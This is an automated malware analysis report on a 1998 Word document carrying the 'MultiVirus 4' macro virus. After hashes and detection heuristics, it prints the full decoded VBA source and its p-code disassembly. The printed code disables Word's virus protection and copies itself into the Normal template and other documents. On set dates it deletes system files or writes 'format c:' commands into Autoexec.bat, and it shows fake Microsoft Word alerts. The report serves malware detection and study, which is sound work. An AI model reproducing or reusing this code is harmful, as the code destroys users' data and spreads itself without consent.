Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6f2310262775b10d…

MALICIOUS

Office (OLE)

42.5 KB Created: 1998-06-23 12:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 481ab0dbde9618c4491fa210a5e0c161 SHA-1: 260f783465a88d9eca49ea4c6212b6e1df76bb15 SHA-256: 6f2310262775b10de9dd7f768dd548eacb29f787156390863b9f574c31f54329
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits high-confidence indicators of legacy WordBasic macro virus activity and the presence of VBA macros. The AutoExec macro attempts to delete critical system files and format the C: drive on specific dates, while the AutoClose macro attempts to spread itself to other documents. These actions indicate a destructive and self-propagating intent.

Heuristics 6

  • ClamAV: Doc.Trojan.ZMK-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.ZMK-6
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16882 bytes
SHA-256: 2e3e1d82b2e272b035630e5d8f1d88ba7b59dd97e2569e6e4653c85ab23d1c72
Detection
ClamAV: Doc.Trojan.ZMK-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MultiVirus4"
Sub AutoExec()
' Macro Virus Epidemic
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAE
Dim MyDate
MyDate = Date
D$ = Mid(MyDate, 1, 5)
If D$ = "10/10" Then
    Kill "C:\Command.com"
    Kill "C:\Autoexec.bat"
    Kill "C:\Config.sys"
    MsgBox "Epidemic Macro Virus V1.2", Title:="Virus MultiVirus 4"
End If
If D$ = "27/04" Then
    Open "C:\Autoexec.bat" For Append As #1
        Print #1, "PATH=%PATH%;C:\DOS;C:\WINDOWS\COMMAND"
        Print #1, "echo o|format c: /u /V:EPIDEMIC >nul"
        Print #1, "echo y|format c: /u /V:EPIDEMIC >nul"
    Close #1
End If
ErrorAE:
End Sub
Sub AutoClose()
' Macro Virus Divina
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAC
iMacroCount = NormalTemplate.VBProject.VBComponents.Count
For i = 1 To iMacroCount
    If NormalTemplate.VBProject.VBComponents(i).Name = "MultiVirus4" Then
        MultiVirus4Installed = -1
    End If
Next i
If Not MultiVirus4Installed Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="MultiVirus4", Object:=wdOrganizerObjectProjectItems
Else
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="MultiVirus4", Object:=wdOrganizerObjectProjectItems
End If
Dim MyDate, MyTime
MyDate = Date
MyTime = Time
D$ = Mid(MyDate, 1, 5)
T$ = Mid(MyTime, 4, 5)
If T$ = "17" Then
    MsgBox "Disque Dur endommagé. Démarrer l'antivirus ?" & Chr$(13) & "Virus 'MultiVirus 4' est lancé", vbInformation, Title:="Microsoft Word"
    MsgBox "Sortez de votre système et lancer un formatage de bas niveau" & Chr$(13) & "Virus stoppé", vbInformation, Title:="Microsoft Word"
    MsgBox "Sortir du système ?" & Chr$(13) & "Microsoft Windows", vbInformation, "Microsoft Word"
End If
If D$ = "21/05" Then
    Select Case T$
        Case "11" To "19", "17", "41" To "49"
            MsgBox "DIVINA IS THE BEST!!!" & Chr$(13) & "zio Massimo", Title:="Virus MultiVirus 4"
            MsgBox "Aujourd'hui, c'est l'anniversaire de Divina: On doit faire la fête!" & Chr$(13) & "Ne continuer pas ou je devrais formater le disque dur..." & Chr$(13) & "Virus 'DIVINA' est exécuté", Title:="Virus MultiVirus 4"
    End Select
End If
ErrorAC:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAO
iMacroCount = NormalTemplate.VBProject.VBComponents.Count
For i = 1 To iMacroCount
    If NormalTemplate.VBProject.VBComponents(i).Name = "MultiVirus4" Then
        MultiVirus4Installed = -1
    End If
Next i
If Not MultiVirus4Installed Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="MultiVirus4", Object:=wdOrganizerObjectProjectItems
    ' Macro Virus Dodger
    Beep
    MsgBox "*** tHe aRtFuL dOdGeR ***", Title:="Virus MultiVirus 4"
End If
ErrorAO:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
    If ActiveDocument.SaveFormat = wdFormatTemplate Or ActiveDocument.SaveFormat = wdFormatDocument Then
        ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
    End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="MultiVirus4", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFSA:
End Sub
Sub FileTemplates()
' Macro Virus Master
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFT
    MsgBox "© 1998 Master of infection", Title:="Virus MultiVirus 4"
ErrorFT:
End Sub
Sub ToolsMacro()
' Macro Virus Master
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorTM
    MsgBox "© 1998 Master of infection", Title:="Virus MultiVirus 4"
ErrorTM:
End Sub
Sub ToolsOptions()
'Macro Virus Master
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorTO
    MsgBox "© 1998 Master of infection", Title:="Virus MultiVirus 4"
ErrorTO:
End Sub
Sub ViewVBCode()
' Macro Virus Master
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorVVBC
    MsgBox "© 1998 Master of infection", Title:="Virus MultiVirus 4"
ErrorVVBC:
End Sub


' Processing file: /tmp/qstore_0m3ozwij
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1344 bytes
' Macros/VBA/MultiVirus4 - 9660 bytes
' Line #0:
' 	FuncDefn (Sub AutoExec())
' Line #1:
' 	QuoteRem 0x0000 0x0015 " Macro Virus Epidemic"
' Line #2:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #3:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #5:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #6:
' 	OnError ErrorAE 
' Line #7:
' 	Dim 
' 	VarDefn MyDate
' Line #8:
' 	Ld Date 
' 	St MyDate 
' Line #9:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0005 
' 	ArgsLd Mid$ 0x0003 
' 	St D$ 
' Line #10:
' 	Ld D$ 
' 	LitStr 0x0005 "10/10"
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LitStr 0x000E "C:\Command.com"
' 	ArgsCall Kill 0x0001 
' Line #12:
' 	LitStr 0x000F "C:\Autoexec.bat"
' 	ArgsCall Kill 0x0001 
' Line #13:
' 	LitStr 0x000D "C:\Config.sys"
' 	ArgsCall Kill 0x0001 
' Line #14:
' 	LitStr 0x0019 "Epidemic Macro Virus V1.2"
' 	LitStr 0x0012 "Virus MultiVirus 4"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	Ld D$ 
' 	LitStr 0x0005 "27/04"
' 	Eq 
' 	IfBlock 
' Line #17:
' 	LitStr 0x000F "C:\Autoexec.bat"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Append)
' Line #18:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0025 "PATH=%PATH%;C:\DOS;C:\WINDOWS\COMMAND"
' 	PrintItemNL 
' Line #19:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0024 "echo o|format c: /u /V:EPIDEMIC >nul"
' 	PrintItemNL 
' Line #20:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0024 "echo y|format c: /u /V:EPIDEMIC >nul"
' 	PrintItemNL 
' Line #21:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	Label ErrorAE 
' Line #24:
' 	EndSub 
' Line #25:
' 	FuncDefn (Sub AutoClose())
' Line #26:
' 	QuoteRem 0x0000 0x0013 " Macro Virus Divina"
' Line #27:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #28:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #29:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #30:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #31:
' 	OnError ErrorAC 
' Line #32:
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St iMacroCount 
' Line #33:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #34:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x000B "MultiVirus4"
' 	Eq 
' 	IfBlock 
' Line #35:
' 	LitDI2 0x0001 
' 	UMi 
' 	St MultiVirus4Installed 
' Line #36:
' 	EndIfBlock 
' Line #37:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #38:
' 	Ld MultiVirus4Installed 
' 	Not 
' 	IfBlock 
' Line #39:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "MultiVirus4"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #40:
' 	ElseBlock 
' Line #41:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "MultiVirus4"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #42:
' 	EndIfBlock 
' Line #43:
' 	Dim 
' 	VarDefn MyDate
' 	VarDefn MyTime
' Line #44:
' 	Ld Date 
' 	St MyDate 
' Line #45:
' 	Ld Time 
' 	St MyTime 
' Line #46:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0005 
' 	ArgsLd Mid$ 0x0003 
' 	St D$ 
' Line #47:
' 	Ld MyTime 
' 	LitDI2 0x0004 
' 	LitDI2 0x0005 
' 	ArgsLd Mid$ 0x0003 
' 	St T$ 
' Line #48:
' 	Ld T$ 
' 	LitStr 0x0002 "17"
' 	Eq 
' 	IfBlock 
' Line #49:
' 	LitStr 0x002C "Disque Dur endommagé. Démarrer l'antivirus ?"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x001E "Virus 'MultiVirus 4' est lancé"
' 	Concat 
' 	Ld vbInformation 
' 	LitStr 0x000E "Microsoft Word"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0003 
' Line #50:
' 	LitStr 0x003C "Sortez de votre système et lancer un formatage de bas niveau"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x000C "Virus stoppé"
' 	Concat 
' 	Ld vbInformation 
' 	LitStr 0x000E "Microsoft Word"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0003 
' Line #51:
' 	LitStr 0x0013 "Sortir du système ?"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x0011 "Microsoft Windows"
' 	Concat 
' 	Ld vbInformation 
' 	LitStr 0x000E "Microsoft Word"
' 	ArgsCall MsgBox 0x0003 
' Line #52:
' 	EndIfBlock 
' Line #53:
' 	Ld D$ 
' 	LitStr 0x0005 "21/05"
' 	Eq 
' 	IfBlock 
' Line #54:
' 	Ld T$ 
' 	SelectCase 
' Line #55:
' 	LitStr 0x0002 "11"
' 	LitStr 0x0002 "19"
' 	CaseTo 
' 	LitStr 0x0002 "17"
' 	Case 
' 	LitStr 0x0002 "41"
' 	LitStr 0x0002 "49"
' 	CaseTo 
' 	CaseDone 
' Line #56:
' 	LitStr 0x0015 "DIVINA IS THE BEST!!!"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x000B "zio Massimo"
' 	Concat 
' 	LitStr 0x0012 "Virus MultiVirus 4"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #57:
' 	LitStr 0x0043 "Aujourd'hui, c'est l'anniversaire de Divina: On doit faire la fête!"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x0038 "Ne continuer pas ou je devrais formater le disque dur..."
' 	Concat 
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x001A "Virus 'DIVINA' est exécuté"
' 	Concat 
' 	LitStr 0x0012 "Virus MultiVirus 4"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #58:
' 	EndSelect 
' Line #59:
' 	EndIfBlock 
' Line #60:
' 	Label ErrorAC 
' Line #61:
' 	EndSub 
' Line #62:
' 	FuncDefn (Sub AutoOpen())
' Line #63:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #64:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #65:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #66:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #67:
' 	OnError ErrorAO 
' Line #68:
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St iMacroCount 
' Line #69:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #70:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x000B "MultiVirus4"
' 	Eq 
' 	IfBlock 
' Line #71:
' 	LitDI2 0x0001 
' 	UMi 
' 	St MultiVirus4Installed 
' Line #72:
' 	EndIfBlock 
' Line #73:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #74:
' 	Ld MultiVirus4Installed 
' 	Not 
' 	IfBlock 
' Line #75:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "MultiVirus4"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #76:
' 	QuoteRem 0x0004 0x0013 " Macro Virus Dodger"
' Line #77:
' 	ArgsCall Beep 0x0000 
' Line #78:
' 	LitStr 0x0019 "*** tHe aRtFuL dOdGeR ***"
' 	LitStr 0x0012 "Virus MultiVirus 4"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #79:
' 	EndIfBlock 
' Line #80:
' 	Label ErrorAO 
' Line #81:
' 	EndSub 
' Line #82:
' 	FuncDefn (Sub FileSaveAs())
' Line #83:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #84:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #85:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #86:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #87:
' 	OnError ErrorFSA 
' Line #88:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #89:
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatTemplate 
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatDocument 
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #90:
' 	Ld wdFormatTemplate 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' Line #91:
' 	EndIfBlock 
' Line #92:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "MultiVirus4"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #93:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #94:
' 	Label ErrorFSA 
' Line #95:
' 	EndSub 
' Line #96:
' 	FuncDefn (Sub FileTemplates())
' Line #97:
' 	QuoteRem 0x0000 0x0013 " Macro Virus Master"
' Line #98:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #99:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #100:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #101:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #102:
' 	OnError ErrorFT 
' Line #103:
' 	LitStr 0x001A "© 1998 Master of infection"
' 	LitStr 0x0012 "Virus MultiVirus 4"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #104:
' 	Label ErrorFT 
' Line #105:
' 	EndSub 
' Line #106:
' 	FuncDefn (Sub ToolsMacro())
' Line #107:
' 	QuoteRem 0x0000 0x0013 " Macro Virus Master"
' Line #108:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #109:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #110:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #111:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #112:
' 	OnError ErrorTM 
' Line #113:
' 	LitStr 0x001A "© 1998 Master of infection"
' 	LitStr 0x0012 "Virus MultiVirus 4"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #114:
' 	Label ErrorTM 
' Line #115:
' 	EndSub 
' Line #116:
' 	FuncDefn (Sub ToolsOptions())
' Line #117:
' 	QuoteRem 0x0000 0x0012 "Macro Virus Master"
' Line #118:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #119:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #120:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #121:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #122:
' 	OnError ErrorTO 
' Line #123:
' 	LitStr 0x001A "© 1998 Master of infection"
' 	LitStr 0x0012 "Virus MultiVirus 4"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #124:
' 	Label ErrorTO 
' Line #125:
' 	EndSub 
' Line #126:
' 	FuncDefn (Sub ViewVBCode())
' Line #127:
' 	QuoteRem 0x0000 0x0013 " Macro Virus Master"
' Line #128:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #129:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #130:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #131:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #132:
' 	OnError ErrorVVBC 
' Line #133:
' 	LitStr 0x001A "© 1998 Master of infection"
' 	LitStr 0x0012 "Virus MultiVirus 4"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #134:
' 	Label ErrorVVBC 
' Line #135:
' 	EndSub 
' Line #136: